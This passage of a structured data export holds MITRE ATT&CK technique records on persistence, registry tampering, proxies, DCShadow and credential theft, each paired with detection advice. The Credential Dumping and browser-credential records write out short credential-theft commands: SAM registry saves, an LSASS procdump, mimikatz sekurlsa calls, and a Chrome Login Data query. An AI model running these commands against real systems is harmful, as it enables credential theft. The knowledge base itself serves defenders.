launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Launch Agent", modified:"2019-07-18T15:25:53.604Z", kill_chain_phases:["fbc6fa48-e9ba-47c2-bfdb-9d4f548fc190"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--dd901512-6e37-4155-943b-453e3777b125", external_references:["ba119cf6-d968-47b0-8b12-a68174d1b84b", "3ba2f41c-8a10-4f5c-a88a-9fe163e09927", "9f5868ca-9ea7-431a-907e-bda4daf48e88", "4ee7e213-51e2-4e95-8c55-2b5e29fb4004", "8732e962-33d9-4c4f-868d-54a0de16b4c4", "f306cb57-f01a-4879-8628-f3901ec2a83a", "70cdb84a-5d46-4f2e-b2c9-4a05d06464bc", "34eb7719-575d-4f07-86ca-34562f8ec957", "5630873e-9fee-4db1-bf98-45b7bc95b1dd"]}}, {_id:961, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\",\"x_mitre_contributors\":[\"Anastasios Pingios\"],\"x_mitre_permissions_required\":[\"Administrator\",\"User\",\"root\"]}", description:"On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Local Job Scheduling", modified:"2019-07-18T15:32:39.720Z", kill_chain_phases:["256b4f09-75a7-4602-a4c1-7b9999fd1ffb", "ae92d581-a760-4f4b-bc9e-60d8ccf30c6d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", external_references:["d341cd70-8701-4f2e-a3e4-7a52b0a26f19", "582d3496-b5dd-435a-8bae-7cb626b1ae47", "e32fcb6d-dfc3-4559-93f6-f40052e75217", "b97ca6da-1044-4f04-a3a0-f40740a55528", "12e2f739-5184-490c-a3ca-87d4181876f4", "5e3b0f10-6ce8-4687-9a38-13365138dd13", "68c59471-f04d-4bad-bff6-19d235421661", "9c6d19e3-2ef1-4808-a216-51f76b5878fb"]}}, {_id:972, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.\",\"x_mitre_permissions_required\":[\"User\"]}", description:"MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Login Item", modified:"2019-07-18T15:33:05.940Z", kill_chain_phases:["48066cf0-8e59-445c-beae-b8191a2c954f"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", external_references:["8722198a-9f36-4b64-a4f2-d8f06d6ae85b", "36965041-9fc4-4e58-9fd5-37627c3d7d83", "4e9e70a6-6677-47a4-bb18-c53ca5312047", "0890343f-2f82-49c9-a89d-707ad9adb4d3", "70ba744b-13d4-4519-bbec-2781c4494bec", "53a21ea7-1d47-4418-beef-8ae1d227caa4"]}}, {_id:1016, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:23.587Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Windows Registry\",\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\",\"Windows event logs\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\\n\\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).\",\"x_mitre_contributors\":[\"Bartosz Jerzman\",\"Travis Smith, Tripwire\",\"David Lu, Tripwire\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"]}", description:"Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nRegistry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Modify Registry", modified:"2019-06-25T12:31:56.827Z", kill_chain_phases:["f709858e-85b5-423d-846c-0f0693c35291"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", external_references:["a5d31632-a5ae-4241-88ca-b30fad39e4de", "9e1a658d-61e0-43c0-ad43-11a223953f6f", "ae169858-f16a-48b9-aa5c-62def3f8a842", "df2a9193-09cd-4544-b352-0f2170142df2", "805fc0d1-e89d-4a29-90a3-341b08172879", "5988d6fc-acef-4c82-a3de-725069bdd276", "9f6303af-65f8-473d-a648-f747129f1db4", "7034b01c-aa0b-4baf-a998-d8d91ac1fe4b", "57dbafdf-320d-4245-a50e-9fca49e914ef"]}}, {_id:1042, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_data_sources\":[\"Network protocol analysis\",\"Netflow/Enclave netflow\"],\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\"}", description:"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Multi-hop Proxy", modified:"2019-07-18T16:27:30.822Z", kill_chain_phases:["d1132cd7-0092-40ce-b437-b81b1430416a"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", external_references:["3b595648-030d-4c2a-ba65-1d96193f52b4"]}}, {_id:362, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:31.197Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"Packet capture\",\"Netflow/Enclave netflow\",\"Process use of network\",\"Malware reverse engineering\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\\n\\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}", description:"Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Custom Cryptographic Protocol", modified:"2019-06-14T17:31:50.564Z", kill_chain_phases:["b91663e0-2bb3-4b2b-90d0-1ffe7e850a4d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", external_references:["b40165f5-ae64-434d-8056-a6ee497d45ef", "fb6e0658-dba0-4583-ba84-bbd1d6555756", "d6bcc23e-5191-4b16-a7fc-409056303a40", "13eb5aa6-6e16-44fd-ac96-2c218d3d301c"]}}, {_id:368, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Authentication logs\",\"Network protocol analysis\",\"Packet capture\"],\"x_mitre_defense_bypassed\":[\"Log analysis\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n\\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n\\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\\n\\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\",\"x_mitre_contributors\":[\"Vincent Le Toux\"],\"x_mitre_permissions_required\":[\"Administrator\"]}", description:"DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"DCShadow", modified:"2018-10-17T00:14:20.652Z", kill_chain_phases:["574a3a53-b1f3-4b3a-8373-f278df7186b8"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", external_references:["b8933611-83ec-444b-880c-ee7d7301cad0", "c3cefe46-265e-46dc-a881-fb69d2bc5346", "84f3d7d3-8405-4616-8707-fb25b3eeb158", "d7351f72-ddf5-44f6-ad63-2ff56ba85965", "244d7b35-5711-42e4-b98b-603dc921b019", "5771053f-f346-4df2-8da5-d84554351afd", "a9428d96-c1cf-4097-aef8-4309979ed1e8"]}}, {_id:315, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:19.735Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Process monitoring\",\"PowerShell logs\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"### Windows\\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\\n\\nHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. \\n\\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\\n\\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\\n\\n### Linux\\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>, where the <code><pid></code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.\",\"x_mitre_contributors\":[\"Vincent Le Toux\",\"Ed Williams, Trustwave, SpiderLabs\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\",\"root\"]}", description:"Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets.\n \nWhen services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well.\n \nA number of tools can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS from Domain Controller\n\nActive Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts.\n\nThese group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn the SYSVOL share, the following can be used to enumerate potential XML files.\ndir /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\n#### DCSync\n\nDCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's  application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Credential Dumping", modified:"2019-10-11T12:49:33.530Z", kill_chain_phases:["f7fedcfc-8381-42a1-b8c4-114709b90f48"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", external_references:["3c7dbe24-85de-4781-baed-83f0def22b09", "4de3657e-62f5-4f45-9da3-05ba29ff19e4", "439e56c4-e7da-40a1-aeb4-5180d7a1b38c", "a7ee46ac-f255-44b0-948d-de19e0b11144", "47ef2227-9eec-41c7-9d57-2024a33ffe2d", "0ed7486f-1631-4461-ba1e-081f082d31a2", "ccc5504c-3b1c-4ce7-a140-0f66223d7196", "c5721660-22e5-47d6-9499-d3fce487438a", "7853d4e2-e6f1-4863-9c30-a18d5973653c", "1255c5b2-b62e-431c-822e-66c3d43b8fc0", "81d3da4c-9129-4475-8305-c61d6393beb0", "e6679078-82ca-402a-85e9-cc6bbc83c8d6", "94424aa2-f6ee-48dc-a48c-8712dcdd3d72", "b3ebb676-0f51-4214-b1e3-b8cff820aff2", "0e3d0908-aaf2-4695-867c-4d39e80f1e46", "d55cb231-2b93-462f-a29b-092e9e76c390", "f39e5009-0dc7-46a4-ac3c-ba1797db4afa", "d62cb6f0-915d-4bc2-8e31-4c101324845e", "80f38064-18a0-47e4-ab6d-97923e7176bc", "f30bde23-9931-4f8d-8a25-2d9908b99563", "6b987c5c-bf08-4d7c-ace0-252c2a797e87", "53fd7aa4-1b7a-4798-a1ac-921a3afa60d4"]}}, {_id:339, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-06-17T19:34:51.855Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"PowerShell logs\",\"File monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: <code>AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).\",\"x_mitre_contributors\":[\"Ryan Benson, Exabeam\",\"Barry Shteiman, Exabeam\",\"Sylvain Gil, Exabeam\",\"RedHuntLabs, @redhuntlabs\"],\"x_mitre_permissions_required\":[\"User\"]}", description:"Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData ‎April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser 